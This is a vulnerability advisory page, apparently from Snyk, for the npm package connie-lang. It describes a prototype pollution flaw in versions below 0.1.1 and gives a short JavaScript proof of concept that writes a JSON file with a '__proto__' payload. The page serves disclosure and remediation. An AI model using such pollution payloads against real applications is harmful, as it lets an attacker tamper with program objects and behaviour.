connie-lang@0.0.2 vulnerabilities

Configuration language for connie

  • latest version

    0.1.1

  • latest non vulnerable version

  • first published

    10 years ago

  • latest version published

    5 years ago

  • Direct Vulnerabilities

    Known vulnerabilities in the connie-lang package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    connie-lang is a the configuration language for connie.

    Affected versions of this package are vulnerable to Prototype Pollution in the configuration language library used by connie.

    POC

    const connie = require('connie');
    const fs = require('fs');
    fs.writeFileSync('test.json', `{"__proto__": {"polluted": true}}`);
    connie('dir', '.').read().then(x => {
        console.log(polluted);
    });
    

    How to fix Prototype Pollution?

    Upgrade connie-lang to version 0.1.1 or higher.

    <0.1.1